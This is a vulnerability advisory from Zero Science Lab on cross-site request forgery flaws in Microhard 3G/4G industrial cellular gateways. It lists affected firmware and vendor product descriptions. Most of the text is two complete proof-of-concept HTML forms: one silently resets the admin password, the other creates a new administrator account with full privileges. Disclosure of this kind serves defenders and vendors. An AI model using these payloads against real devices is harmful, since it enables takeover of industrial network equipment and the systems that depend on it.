238 lines
No EOL
13 KiB
HTML
238 lines
No EOL
13 KiB
HTML
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway CSRF Vulnerabilities
|
|
|
|
|
|
Vendor: Microhard Systems Inc.
|
|
Product web page: http://www.microhardcorp.com
|
|
Affected version: IPn4G 1.1.0 build 1098
|
|
IPn3Gb 2.2.0 build 2160
|
|
IPn4Gb 1.1.6 build 1184-14
|
|
IPn4Gb 1.1.0 Rev 2 build 1090-2
|
|
IPn4Gb 1.1.0 Rev 2 build 1086
|
|
Bullet-3G 1.2.0 Rev A build 1032
|
|
VIP4Gb 1.1.6 build 1204
|
|
VIP4G 1.1.6 Rev 3.0 build 1184-14
|
|
VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
|
|
IPn3Gii / Bullet-3G 1.2.0 build 1076
|
|
IPn4Gii / Bullet-LTE 1.2.0 build 1078
|
|
BulletPlus 1.3.0 build 1036
|
|
Dragon-LTE 1.1.0 build 1036
|
|
|
|
Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
|
|
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
|
|
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
|
|
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
|
|
RS232/485/422 devices!
|
|
|
|
The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
|
|
the widespread deployment of cellular network infrastructure for critical data collection.
|
|
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
|
|
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
|
|
provides robust and secure wireless communication of Serial, USB and Ethernet data.
|
|
|
|
The all new Bullet-3G provides a compact, robust, feature packed industrial strength
|
|
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
|
|
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
|
|
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
|
|
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
|
|
worth looking at!
|
|
|
|
The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
|
|
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
|
|
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
|
|
system integration and design flexibility with dual Ethernet Ports and high power
|
|
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
|
|
Control Lists, the Dragon-LTE provides a solution for any cellular application!
|
|
|
|
The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
|
|
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
|
|
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
|
|
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
|
|
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
|
|
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.
|
|
|
|
Desc: The application interface allows users to perform certain actions via HTTP requests
|
|
without performing any validity checks to verify the requests. This can be exploited to
|
|
perform certain actions with administrative privileges if a logged-in user visits a malicious
|
|
web site.
|
|
|
|
Tested on: httpd-ssl-1.0.0
|
|
Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2018-5478
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5478.php
|
|
|
|
|
|
13.03.2018
|
|
|
|
--
|
|
|
|
|
|
CSRF Change Admin password:
|
|
---------------------------
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://192.168.1.1/cgi-bin/webif/system-acl.sh" method="POST" enctype="multipart/form-data">
|
|
<input type="hidden" name="submit" value="1" />
|
|
<input type="hidden" name="pw1" value="nimda" />
|
|
<input type="hidden" name="pw2" value="nimda" />
|
|
<input type="hidden" name="passwdchange" value=" Change Passwd " />
|
|
<input type="hidden" name="user_add" value="" />
|
|
<input type="hidden" name="password_add" value="" />
|
|
<input type="hidden" name="password2_add" value="" />
|
|
<input type="hidden" name="Carrier_enable" value="0" />
|
|
<input type="hidden" name="Carrier_Status" value="0" />
|
|
<input type="hidden" name="Carrier_Settings" value="0" />
|
|
<input type="hidden" name="Carrier_Keepalive" value="0" />
|
|
<input type="hidden" name="Carrier_TrafficWatchdog" value="0" />
|
|
<input type="hidden" name="Carrier_DynamicDNS" value="0" />
|
|
<input type="hidden" name="Carrier_SMSConfig" value="0" />
|
|
<input type="hidden" name="Carrier_SMS" value="0" />
|
|
<input type="hidden" name="Carrier_DataUsage" value="0" />
|
|
<input type="hidden" name="Comport_enable" value="0" />
|
|
<input type="hidden" name="Comport_Status" value="0" />
|
|
<input type="hidden" name="Comport_Com0" value="0" />
|
|
<input type="hidden" name="Comport_Com1" value="0" />
|
|
<input type="hidden" name="Firewall_enable" value="0" />
|
|
<input type="hidden" name="Firewall_Status" value="0" />
|
|
<input type="hidden" name="Firewall_General" value="0" />
|
|
<input type="hidden" name="Firewall_Rules" value="0" />
|
|
<input type="hidden" name="Firewall_PortForwarding" value="0" />
|
|
<input type="hidden" name="Firewall_MACIPList" value="0" />
|
|
<input type="hidden" name="Firewall_Reset" value="0" />
|
|
<input type="hidden" name="GPS_enable" value="0" />
|
|
<input type="hidden" name="GPS_Location" value="0" />
|
|
<input type="hidden" name="GPS_Settings" value="0" />
|
|
<input type="hidden" name="GPS_Report" value="0" />
|
|
<input type="hidden" name="GPS_GpsGate" value="0" />
|
|
<input type="hidden" name="GPS_Recorder" value="0" />
|
|
<input type="hidden" name="GPS_LoadRecord" value="0" />
|
|
<input type="hidden" name="I/O_enable" value="0" />
|
|
<input type="hidden" name="I/O_Status" value="0" />
|
|
<input type="hidden" name="I/O_OUTPUT" value="0" />
|
|
<input type="hidden" name="Network_enable" value="0" />
|
|
<input type="hidden" name="Network_Status" value="0" />
|
|
<input type="hidden" name="Network_LAN" value="0" />
|
|
<input type="hidden" name="Network_Routes" value="0" />
|
|
<input type="hidden" name="Network_GRE" value="0" />
|
|
<input type="hidden" name="Network_PIMSM" value="0" />
|
|
<input type="hidden" name="Network_SNMP" value="0" />
|
|
<input type="hidden" name="Network_sdpServer" value="0" />
|
|
<input type="hidden" name="Network_LocalMonitor" value="0" />
|
|
<input type="hidden" name="Network_Port" value="0" />
|
|
<input type="hidden" name="System_enable" value="0" />
|
|
<input type="hidden" name="System_Settings" value="0" />
|
|
<input type="hidden" name="System_AccessControl" value="0" />
|
|
<input type="hidden" name="System_Services" value="0" />
|
|
<input type="hidden" name="System_Maintenance" value="0" />
|
|
<input type="hidden" name="System_Reboot" value="0" />
|
|
<input type="hidden" name="Tools_enable" value="0" />
|
|
<input type="hidden" name="Tools_Discovery" value="0" />
|
|
<input type="hidden" name="Tools_NetflowReport" value="0" />
|
|
<input type="hidden" name="Tools_NMSSettings" value="0" />
|
|
<input type="hidden" name="Tools_EventReport" value="0" />
|
|
<input type="hidden" name="Tools_Modbus" value="0" />
|
|
<input type="hidden" name="Tools_Websocket" value="0" />
|
|
<input type="hidden" name="Tools_SiteSurvey" value="0" />
|
|
<input type="hidden" name="Tools_Ping" value="0" />
|
|
<input type="hidden" name="Tools_TraceRoute" value="0" />
|
|
<input type="hidden" name="Tools_NetworkTraffic" value="0" />
|
|
<input type="hidden" name="VPN_enable" value="0" />
|
|
<input type="hidden" name="VPN_Summary" value="0" />
|
|
<input type="hidden" name="VPN_GatewayToGateway" value="0" />
|
|
<input type="hidden" name="VPN_ClientToGateway" value="0" />
|
|
<input type="hidden" name="VPN_VPNClientAccess" value="0" />
|
|
<input type="hidden" name="VPN_CertificateManagement" value="0" />
|
|
<input type="hidden" name="VPN_CiscoEasyVPNClient" value="0" />
|
|
<input type="submit" value="Change" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
CSRF Add Admin:
|
|
---------------
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://192.168.1.1/cgi-bin/webif/system-acl.sh" method="POST" enctype="multipart/form-data">
|
|
<input type="hidden" name="submit" value="1" />
|
|
<input type="hidden" name="pw1" value="" />
|
|
<input type="hidden" name="pw2" value="" />
|
|
<input type="hidden" name="user_add" value="testingus" />
|
|
<input type="hidden" name="password_add" value="123456" />
|
|
<input type="hidden" name="password2_add" value="123456" />
|
|
<input type="hidden" name="Carrier_enable" value="1" />
|
|
<input type="hidden" name="Carrier_Status" value="1" />
|
|
<input type="hidden" name="Carrier_Settings" value="1" />
|
|
<input type="hidden" name="Carrier_Keepalive" value="1" />
|
|
<input type="hidden" name="Carrier_TrafficWatchdog" value="1" />
|
|
<input type="hidden" name="Carrier_DynamicDNS" value="1" />
|
|
<input type="hidden" name="Carrier_SMSConfig" value="1" />
|
|
<input type="hidden" name="Carrier_SMS" value="1" />
|
|
<input type="hidden" name="Carrier_DataUsage" value="1" />
|
|
<input type="hidden" name="Comport_enable" value="1" />
|
|
<input type="hidden" name="Comport_Status" value="1" />
|
|
<input type="hidden" name="Comport_Com0" value="1" />
|
|
<input type="hidden" name="Comport_Com1" value="1" />
|
|
<input type="hidden" name="Firewall_enable" value="1" />
|
|
<input type="hidden" name="Firewall_Status" value="1" />
|
|
<input type="hidden" name="Firewall_General" value="1" />
|
|
<input type="hidden" name="Firewall_Rules" value="1" />
|
|
<input type="hidden" name="Firewall_PortForwarding" value="1" />
|
|
<input type="hidden" name="Firewall_MACIPList" value="1" />
|
|
<input type="hidden" name="Firewall_Reset" value="1" />
|
|
<input type="hidden" name="GPS_enable" value="1" />
|
|
<input type="hidden" name="GPS_Location" value="1" />
|
|
<input type="hidden" name="GPS_Settings" value="1" />
|
|
<input type="hidden" name="GPS_Report" value="1" />
|
|
<input type="hidden" name="GPS_GpsGate" value="1" />
|
|
<input type="hidden" name="GPS_Recorder" value="1" />
|
|
<input type="hidden" name="GPS_LoadRecord" value="1" />
|
|
<input type="hidden" name="I/O_enable" value="1" />
|
|
<input type="hidden" name="I/O_Status" value="1" />
|
|
<input type="hidden" name="I/O_OUTPUT" value="1" />
|
|
<input type="hidden" name="Network_enable" value="1" />
|
|
<input type="hidden" name="Network_Status" value="1" />
|
|
<input type="hidden" name="Network_LAN" value="1" />
|
|
<input type="hidden" name="Network_Routes" value="1" />
|
|
<input type="hidden" name="Network_GRE" value="1" />
|
|
<input type="hidden" name="Network_PIMSM" value="1" />
|
|
<input type="hidden" name="Network_SNMP" value="1" />
|
|
<input type="hidden" name="Network_sdpServer" value="1" />
|
|
<input type="hidden" name="Network_LocalMonitor" value="1" />
|
|
<input type="hidden" name="Network_Port" value="1" />
|
|
<input type="hidden" name="System_enable" value="1" />
|
|
<input type="hidden" name="System_Settings" value="1" />
|
|
<input type="hidden" name="System_AccessControl" value="1" />
|
|
<input type="hidden" name="System_Services" value="1" />
|
|
<input type="hidden" name="System_Maintenance" value="1" />
|
|
<input type="hidden" name="System_Reboot" value="1" />
|
|
<input type="hidden" name="Tools_enable" value="1" />
|
|
<input type="hidden" name="Tools_Discovery" value="1" />
|
|
<input type="hidden" name="Tools_NetflowReport" value="1" />
|
|
<input type="hidden" name="Tools_NMSSettings" value="1" />
|
|
<input type="hidden" name="Tools_EventReport" value="1" />
|
|
<input type="hidden" name="Tools_Modbus" value="1" />
|
|
<input type="hidden" name="Tools_Websocket" value="1" />
|
|
<input type="hidden" name="Tools_SiteSurvey" value="1" />
|
|
<input type="hidden" name="Tools_Ping" value="1" />
|
|
<input type="hidden" name="Tools_TraceRoute" value="1" />
|
|
<input type="hidden" name="Tools_NetworkTraffic" value="1" />
|
|
<input type="hidden" name="VPN_enable" value="1" />
|
|
<input type="hidden" name="VPN_Summary" value="1" />
|
|
<input type="hidden" name="VPN_GatewayToGateway" value="1" />
|
|
<input type="hidden" name="VPN_ClientToGateway" value="1" />
|
|
<input type="hidden" name="VPN_VPNClientAccess" value="1" />
|
|
<input type="hidden" name="VPN_CertificateManagement" value="1" />
|
|
<input type="hidden" name="VPN_CiscoEasyVPNClient" value="1" />
|
|
<input type="hidden" name="mhadd_user" value="Add User" />
|
|
<input type="submit" value="Request" />
|
|
</form>
|
|
</body>
|
|
</html> |